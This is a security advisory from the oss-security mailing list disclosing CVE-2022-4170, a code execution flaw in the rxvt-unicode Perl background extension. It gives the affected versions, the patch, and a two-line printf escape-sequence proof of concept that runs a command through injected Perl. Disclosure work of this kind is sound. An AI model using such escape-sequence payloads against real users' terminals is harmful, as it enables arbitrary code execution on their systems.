oss-security - CVE-2022-4170: rxvt-unicode code execution via background OSC

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Date: Mon, 5 Dec 2022 22:22:33 +1100
From: David Leadbeater <dgl@....cx>
To: oss-security@...ts.openwall.com
Subject: CVE-2022-4170: rxvt-unicode code execution via background OSC

I've discovered rxvt-unicode 9.25 and 9.26 are vulnerable to remote
code execution, in the Perl background extension, when an attacker can
control the data written to the user's terminal and certain options
are set.

The "background" extension is automatically loaded if certain X
resources are set such as 'transparent' (see the full list at the top
of src/perl/background[1]). So it is possible to be using this
extension without realising it.

This is accidentally fixed on version 9.30, and I haven't confirmed
9.29, it appears to not be exploitable, but only due to another (not
security) bug. The actual bug which makes this not vulnerable on 9.30
is simply a wrong number in "on_osc_seq".

For 9.25 and 9.26 the patch at[2] can be backported. The body of the fix is:

 sub q0 {
-   (my $str = shift) =~ s/\x00//g; # make sure there really aren't
any embedded NULs
-   "q\x00$str\x00"
+   "qq\x00\Q$_[0]\E\x00"
 }

Isn't Perl quoting fun? Paranoid people may wish to remove the entire
"on_osc_seq" subroutine to avoid passing any potentially untrusted
input anywhere near eval (this feature is deprecated and the
maintainer did mention they are considering what to do longer term).

It doesn't make sense to withhold an exploit for this; the fix gives a
pretty good idea where to look and this isn't vulnerable in the latest
version.

$ urxvt -transparent

Inside that running terminal:

# Make tint be "\\", which means the ending \x00 is quoted under our control
$ printf '\e]705;\\\a'
# Make the second q0 end the quoted q-string and then be valid perl
under our control
$ printf '\e]20;,rootalign root),`touch /tmp/cve-2022-4170` #\a'

This has been assigned CVE-2022-4170.

David

[1]: http://cvs.schmorp.de/rxvt-unicode/src/perl/background?revision=1.109&view=markup
[2]: http://cvs.schmorp.de/rxvt-unicode/src/perl/background?r1=1.105&r2=1.109

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